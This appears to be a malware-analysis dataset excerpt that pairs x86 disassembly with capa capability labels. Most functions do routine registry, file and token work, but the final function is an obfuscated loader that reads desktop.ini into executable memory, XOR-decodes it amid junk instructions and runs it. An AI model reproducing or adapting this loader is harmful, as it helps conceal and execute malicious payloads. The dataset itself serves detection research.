joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4162bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45b087
mov eax, dword fs:[0]
push eax
mov eax, 0x8bd0
call fcn.0043fa30
mov eax, dword [0x4809a0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push 0xbb6
xor ebx, ebx
lea eax, [ebp - 0xbc6]
push edi
inc ebx
push eax
mov dword [ebp - 0x8bd4], 0x3ffe
mov dword [ebp - 0x8bd8], 0x3fff
mov dword [ebp - 0x8bdc], ebx
mov word [ebp - 0xbc8], di
call fcn.0043b850
mov eax, dword [esi + 4]
add esp, 0xc
cmp dword [esi + 0x10], edi
push esi
je 0x41633b
push 0x101
jmp 0x41633c
push ebx
push edi
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
cmp ebx, edi
je 0x416365
push ebx
push dword [esi + 4]
push str.ReadDwordRegistryData:_Error_while_opening_registry_key__s_and_the_errorcode_is_:__d
call fcn.0040750a
add esp, 0xc
jmp 0x416497
push 0x464fb4
lea ecx, [ebp - 0x8bcc]
call fcn.00402eb5
lea ecx, [esi + 0x18]
push 0x464fda
mov dword [ebp - 4], edi
call fcn.00402f3d
mov dword [esi + 0x14], edi
mov dword [ebp - 0x8bd0], edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x8bd8]
push eax
lea eax, [ebp - 0x8bc8]
push eax
push dword [ebp - 0x8bd0]
mov dword [ebp - 0x8bd8], 0x3fff
push dword [esi]
mov word [ebp - 0x8bc8], di
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x416481
lea eax, [ebp - 0x8bd4]
push eax
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x8bdc]
push eax
push edi
lea eax, [ebp - 0x8bc8]
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x8bd4]
mov ebx, eax
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x8bc8]
push eax
push str.ReadURSInfoFromReg___s___s__Len:_d_n
call fcn.004075a0
add esp, 0x10
lea eax, [ebp - 0x8bc8]
push eax
lea ecx, [ebp - 0x8bcc]
call fcn.00403444
mov eax, dword [ebp - 0x8bcc]
cmp dword [eax - 0xc], 8
jle 0x41646e
inc dword [esi + 0x14]
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x8bc8]
push eax
lea eax, [ebp - 0x8bcc]
push str._s_t_s
push eax
call fcn.0040384d
add esp, 0x10
lea eax, [ebp - 0x8bcc]
push eax
lea ecx, [esi + 0x18]
call fcn.004031c9
push 0x46ef3c
lea ecx, [esi + 0x18]
call fcn.0040341f
inc dword [ebp - 0x8bd0]
cmp dword [ebp - 0x8bd0], 0x64
jb 0x41638e
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x8bcc]
add ecx, 0xfffffff0
call fcn.00401109
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043879b
leave
ret
Function at 0x4164b2
Capabilities:
Delete registry value

Disassembly:
push 0x10
mov eax, 0x45b057
call fcn.0043f173
mov esi, ecx
lea edi, [esi + 4]
xor ebx, ebx
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], ebx
call fcn.0040315e
push 0x46835c
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0040341f
mov eax, dword [ebp + 8]
push dword [eax - 0xc]
lea ecx, [ebp - 0x14]
push eax
call fcn.0040364f
cmp dword [esi + 0x10], ebx
mov eax, dword [edi]
lea ecx, [ebp - 0x18]
push ecx
je 0x416503
push 0x102
jmp 0x416505
push 2
push ebx
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
cmp esi, ebx
je 0x416545
push dword [edi]
push esi
push 0x46ef40
call fcn.0040750a
add esp, 0xc
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401109
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401109
mov eax, esi
call fcn.0043f1f6
ret 4
push ebx
lea ecx, [ebp + 8]
call fcn.0040328d
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x18]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
je 0x41657c
push dword [ebp + 8]
push esi
push str.Deleting_key:_:__d____s
call fcn.0040750a
add esp, 0xc
xor esi, esi
jmp 0x416525
xor esi, esi
inc esi
jmp 0x416525
Function at 0x4166f5
Capabilities:
Check os version
Get token membership

Disassembly:
push ebp
lea ebp, [esp - 0xf0]
sub esp, 0x170
mov eax, dword [0x4809a0]
xor eax, ebp
mov dword [ebp + 0xec], eax
push ebx
push esi
push edi
xor edi, edi
push 0x110
lea eax, [ebp - 0x68]
push edi
push eax
mov dword [ebp - 0x80], edi
xor ebx, ebx
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x6c], 0x114
call fcn.0043b850
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
push 0xa
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4167f4
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4167f4
cmp dword [ebp - 0x68], 6
jb 0x4167a5
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x78]
push eax
push 4
lea eax, [ebp - 0x7c]
push eax
push 0x12
push dword [ebp - 0x74]
call esi
test eax, eax
je 0x4167f4
cmp dword [ebp - 0x7c], 3
jne 0x4167a5
lea eax, [ebp - 0x78]
push eax
push 4
lea eax, [ebp - 0x70]
push eax
push 0x13
push dword [ebp - 0x74]
call esi
test eax, eax
je 0x4167f4
cmp dword [ebp - 0x70], edi
jne 0x4167bd
lea eax, [ebp - 0x70]
push eax
push 1
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
test eax, eax
je 0x4167f4
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xa8]
push eax
push edi
push 0x1a
mov dword [ebp - 0x78], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x4167f4
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0xa8]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4167fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp dword [ebp - 0x74], edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x41680f
push dword [ebp - 0x74]
call esi
mov dword [ebp - 0x74], edi
cmp dword [ebp - 0x70], edi
je 0x41681c
push dword [ebp - 0x70]
call esi
mov dword [ebp - 0x70], edi
cmp ebx, edi
je 0x416831
push 0x478fb8
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x7c], ebx
call fcn.0043f4e6
mov ecx, dword [ebp + 0xec]
mov eax, dword [ebp - 0x80]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043879b
add ebp, 0xf0
leave
ret
Function at 0x416e48
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45af9a
mov eax, dword fs:[0]
push eax
mov eax, 0x139c
call fcn.0043fa30
mov eax, dword [0x4809a0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push 0x1386
lea eax, [ebp - 0x1396]
push edi
push eax
mov dword [ebp - 0x139c], 0x3ffe
mov dword [ebp - 0x13a0], 7
mov word [ebp - 0x1398], di
call fcn.0043b850
mov eax, dword [esi + 4]
add esp, 0xc
cmp dword [esi + 0x10], edi
push esi
je 0x416eba
push 0x101
jmp 0x416ebc
push 1
push edi
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
je 0x416ee5
push eax
push dword [esi + 4]
push str.ReadDwordRegistryData:_Error_while_opening_registry_key__s_and_the_errorcode_is_:__d
call fcn.0040750a
add esp, 0xc
xor eax, eax
jmp 0x416f6b
push 0x464fb4
lea ecx, [ebp - 0x13a4]
call fcn.00402eb5
lea eax, [ebp - 0x139c]
push eax
lea eax, [ebp - 0x1398]
push eax
lea eax, [ebp - 0x13a0]
push eax
mov dword [ebp - 4], edi
inc dword [esi + 0x14]
push edi
push dword [esi + 0x18]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x139c]
xor ecx, ecx
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041cd0b
mov edi, eax
mov eax, dword [ebp - 0x139c]
pop ecx
push eax
mov dword [ebx], eax
lea eax, [ebp - 0x1398]
push eax
push edi
call fcn.0043ba60
add esp, 0xc
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x13a4]
add ecx, 0xfffffff0
call fcn.00401109
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043879b
leave
ret

Function at 0x417047
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, eax
xor eax, eax
push eax
push eax
lea ecx, [ebp - 4]
push ecx
push 0x400
push dword [esi + 0x54]
push eax
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 0x50]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 4]
mov edi, eax
push dword [esi + 0x54]
push str.CustomURLProtocol::Failed_with_error__d:__s
push edi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, eax
shr ecx, 1
call fcn.00416f83
add esp, 0xc
push edi
add esi, 0x58
push esi
call fcn.004173e1
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x41731a
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp dword [esi + 0x18], 8
push ebx
lea ebx, [esi + 4]
jb 0x417330
mov eax, dword [ebx]
jmp 0x417332
mov eax, ebx
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov dword [esi + 0x54], eax
jne 0x4173ce
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push str.DefaultIcon
push dword [ebp - 4]
call edi
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x54], eax
je 0x4173cd
push str.ShellOpencommand
push dword [ebp - 4]
call edi
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x54], eax
je 0x4173cd
push str.ShellOpen
push dword [ebp - 4]
call edi
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x54], eax
je 0x4173cd
push str.Shell
push dword [ebp - 4]
call edi
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x54], eax
je 0x4173cd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x54], eax
je 0x4173cd
cmp dword [esi + 0x18], 8
jb 0x4173c2
mov ebx, dword [ebx]
push ebx
push SysReAllocString
call edi
mov dword [esi + 0x54], eax
pop edi
cmp dword [esi + 0x54], 0
pop ebx
je 0x4173dc
mov eax, esi
call fcn.00417047
mov eax, dword [esi + 0x54]
leave
ret
Function at 0x41822b
Capabilities:
Accept command line arguments

Disassembly:
push 0xc
mov eax, 0x45bd54
call fcn.0043f10a
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
cmp dword [0x484070], 1
jle 0x418272
push eax
lea ecx, [ebp - 0x10]
call fcn.00402eb5
and dword [ebp - 4], 0
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0040315e
call fcn.00418278
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401109
call fcn.0043f1e2
ret

Function at 0x41c6be
Capabilities:
Read file on windows

Disassembly:
push 8
mov eax, 0x45ae2d
call fcn.0043f10a
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x14], edi
push 0x464fda
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 4], edi
call fcn.0041cc70
mov byte [ebp - 4], 1
mov ebx, dword [ebp + 0xc]
cmp dword [ebx - 0xc], edi
jne 0x41c722
push str.Check_Arg_passed___Empty_Filename
call fcn.0040750a
mov dword [esp], str.FAILED
push dword [ebp + 8]
call fcn.0041cc70
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401109
lea ecx, [ebx - 0x10]
call fcn.00401109
mov eax, dword [ebp + 8]
jmp 0x41c874
cmp byte [ebp + 0x10], 0
push 0x40
je 0x41c72f
mov eax, dword [esi + 0xc]
jmp 0x41c732
mov eax, dword [esi + 0x10]
push eax
push ebx
call fcn.0043a7f9
add esp, 0xc
cmp eax, edi
mov dword [ebp + 0x10], eax
jne 0x41c75d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.File_open_Error_:__d
call fcn.0040750a
pop ecx
pop ecx
push str.FAILED
jmp 0x41c6ff
push 2
push edi
push dword [ebp + 0x10]
call fcn.0043c422
add esp, 0xc
test eax, eax
je 0x41c78d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.File_seek_Error_:__d
call fcn.0040750a
push dword [ebp + 0x10]
call fcn.0043b3bc
add esp, 0xc
jmp 0x41c756
push dword [ebp + 0x10]
call fcn.0043c32d
pop ecx
push dword [ebp + 0x10]
mov dword [esi], eax
call fcn.0043be58
mov edi, dword [esi]
pop ecx
inc edi
push edi
lea ecx, [ebp - 0x10]
call fcn.00406067
push edi
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
call fcn.00406091
push dword [ebp + 0x10]
push dword [esi]
mov esi, dword [ebp - 0x14]
push 1
push esi
call fcn.0043c17a
add esp, 0x10
test eax, eax
jne 0x41c80c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.File_read_error_:__d
call fcn.0040750a
cmp dword [ebp - 0x10], 0
pop ecx
pop ecx
jne 0x41c7ed
xor eax, eax
jmp 0x41c7f6
push dword [ebp - 0x10]
call fcn.00439a40
pop ecx
push eax
lea ecx, [ebp - 0x10]
call fcn.00406091
push dword [ebp + 0x10]
call fcn.0043b3bc
jmp 0x41c6f8
mov byte [esi + eax], 0
cmp dword [ebp - 0x10], 0
jne 0x41c81a
xor eax, eax
jmp 0x41c823
push dword [ebp - 0x10]
call fcn.00439a40
pop ecx
push eax
lea ecx, [ebp - 0x10]
call fcn.00406091
push dword [ebp + 0x10]
call fcn.0043b3bc
test eax, eax
pop ecx
je 0x41c84a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.File_close_error_:__d
jmp 0x41c74f
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
push eax
call fcn.004060b7
mov esi, dword [ebp + 8]
pop ecx
mov ecx, dword [ebp - 0x10]
add eax, 0x10
add ecx, 0xfffffff0
mov dword [esi], eax
call fcn.00401109
lea ecx, [ebx - 0x10]
call fcn.00401109
mov eax, esi
call fcn.0043f1e2
ret 0xc
Function at 0x41f3bc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x41f402
call fcn.004293cc
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41f402
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x41f445
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x41f42e
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41f42e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41f442
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x42649e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x4264d7
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0041d3c1
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0041a6e4
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x427fb4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x427ff7
call fcn.004293cc
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x427ff7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x428012
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00427b6e
test ebx, ebx
mov esi, eax
je 0x428010
test edi, edi
je 0x428010
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x42b341
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42b36f
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42b38d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042b2ab
jmp 0x42b38d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42b38d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0042b2ab
test edi, edi
mov eax, edi
jne 0x42b377
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x483fc0]
test ecx, ecx
je 0x42b450
jmp 0x42b340
ret 8
Function at 0x43879b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4809a0]
jne 0x4387a5
repz ret
jmp fcn.0044141f

Function at 0x43a5b0
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x43a5dd
call fcn.0043aaa8
mov dword [eax], esi
call fcn.0043aa95
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0043cf99
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x43a5fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0043aabb
pop ecx
jmp 0x43a5d8
test byte [esp + 0xc], 0x80
je 0x43a607
and eax, 0xfffffffe
jmp 0x43a60a
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x43a5ec
xor eax, eax
pop esi
ret
Function at 0x44ca56
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00440e06
xor ebx, ebx
cmp dword [0x484bf4], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x44cb2b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x44ca96
xor eax, eax
jmp 0x44cbef
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x44ca8f
push eax
call fcn.00440da3
mov dword [esp], 0x462cb0
push edi
mov dword [0x484bf4], eax
call esi
push eax
call fcn.00440da3
mov dword [esp], 0x462c9c
push edi
mov dword [0x484bf8], eax
call esi
push eax
call fcn.00440da3
mov dword [0x484bfc], eax
lea eax, [ebp - 8]
push eax
call fcn.00439161
test eax, eax
pop ecx
pop ecx
je 0x44caf9
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0043ce9d
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x44cb2b
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00440da3
cmp eax, ebx
pop ecx
mov dword [0x484c04], eax
je 0x44cb2b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00440da3
pop ecx
mov dword [0x484c00], eax
mov eax, dword [0x484c00]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x44cba4
cmp dword [0x484c04], esi
je 0x44cba4
push eax
call fcn.00440e0f
pop ecx
call eax
cmp eax, ebx
je 0x44cb71
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x484c04]
call fcn.00440e0f
pop ecx
call eax
test eax, eax
je 0x44cb71
test byte [ebp - 0x18], 1
jne 0x44cba4
lea eax, [ebp - 0xc]
push eax
call fcn.00439198
test eax, eax
pop ecx
je 0x44cb8c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0043ce9d
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x44cb9b
or dword [ebp + 0x10], 0x200000
jmp 0x44cbd5
or dword [ebp + 0x10], 0x40000
jmp 0x44cbd5
mov eax, dword [0x484bf8]
cmp eax, esi
je 0x44cbd5
push eax
call fcn.00440e0f
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x44cbd5
mov eax, dword [0x484bfc]
cmp eax, esi
je 0x44cbd5
push dword [ebp - 4]
push eax
call fcn.00440e0f
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x484bf4]
call fcn.00440e0f
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4550e6
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4809a0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0045507b
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0043b850
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x455135
cmp dword [ebp - 0x1c], 5
jb 0x45514d
jmp 0x455149
cmp dword [ebp - 0x10], 1
jne 0x45514d
cmp dword [ebp - 0x1c], 4
ja 0x455149
jne 0x45514d
cmp dword [ebp - 0x18], 0
jbe 0x45514d
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x464da4
call fcn.00454f6c
test eax, eax
jge 0x45516e
mov byte [0x484e93], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043879b
add ebp, 0x78
leave
ret
Function at 0x1000b7c3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [edx + 2], ch
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x1000b819
push 0
invalid
invalid
invalid

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10